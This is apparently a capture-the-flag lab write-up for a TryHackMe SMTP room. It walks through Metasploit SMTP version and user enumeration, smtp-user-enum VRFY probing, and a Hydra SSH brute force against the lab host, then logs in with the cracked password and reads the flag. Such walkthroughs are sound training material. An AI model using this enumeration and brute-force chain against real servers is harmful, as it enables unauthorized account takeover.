TryHackMe Network Services 2 (SMTP) Writeup

Overview: This room walks through how to enumerate an SMTP service and follow up with an attack driven by user enumeration.

📋 Target Info

• Target IP: 10.201.91.170
• Service: SMTP (Postfix on Ubuntu)
• Goal: Gain system access via SMTP user enumeration

1. Launch Metasploit

msfconsole

2. SMTP Version Enumeration

Search for the smtp_version module

msf6 > search smtp_version

Full module name: auxiliary/scanner/smtp/smtp_version

Select the module and list its options

msf6 > use auxiliary/scanner/smtp/smtp_version
msf6 auxiliary(scanner/smtp/smtp_version) > options

Set the required options

Option to set: RHOSTS

msf6 auxiliary(scanner/smtp/smtp_version) > set RHOSTS 10.201.91.170
msf6 auxiliary(scanner/smtp/smtp_version) > run

Scan result:

[+] 10.201.91.170:25 - 220 polosmtp.home ESMTP Postfix (Ubuntu)

System mail name: polosmtp.home

MTA (Mail Transfer Agent): Postfix

3. SMTP User Enumeration

Search for the smtp_enum module

msf6 > search smtp_enum

Full module name: auxiliary/scanner/smtp/smtp_enum

Select the module and set its options

msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > show options

Set the wordlist path

Option to set: USER_FILE

msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt

Set the target host

Another required parameter: RHOSTS

msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.201.91.170

Run the enumeration

msf6 auxiliary(scanner/smtp/smtp_enum) > run

Enumeration result:

User discovered: administrator

4. You can also use smtp-user-enum

If Metasploit's smtp_enum doesn't give you great results, you can reach for a dedicated tool:

smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 10.201.91.170

Enumeration result:

10.201.91.170: administrator exists  ⬅️ high-value target!
10.201.91.170: root exists
10.201.91.170: postmaster exists
10.201.91.170: mail exists
[... other system users ...]

5. SSH Password Brute Force

Brute-forcing SSH with Hydra

hydra -l administrator -P /usr/share/wordlists/rockyou.txt ssh://10.201.91.170 -t 4 -w 3 -V

Flag reference:

• -l administrator - target user
• -P /usr/share/wordlists/rockyou.txt - password wordlist
• -t 4 - use 4 threads (to avoid getting blocked by SSH)
• -w 3 - wait 3 seconds between attempts
• -V - show verbose progress

Brute-force result:

[22][ssh] host: 10.201.91.170   login: administrator   password: alejandro

✅ Password cracked: alejandro

7. SSH In and Grab the Flag

ssh [email protected]
# password: alejandro

✅ SSH login successful!

Welcome to Ubuntu 20.04.6 LTS
administrator@ip-10-201-91-170:~$

Grab the Flag

administrator@ip-10-201-91-170:~$ ls
smtp.txt

administrator@ip-10-201-91-170:~$ cat smtp.txt
THM{Redacted}

Key Takeaways

• ✅ Metasploit auxiliary/scanner/smtp/smtp_version - identify the SMTP version
• ✅ Metasploit auxiliary/scanner/smtp/smtp_enum - enumerate users
• ✅ smtp-user-enum - enumerate using the VRFY command (alternative approach)
• ✅ Hydra - SSH password brute force

Metasploit Command Cheat Sheet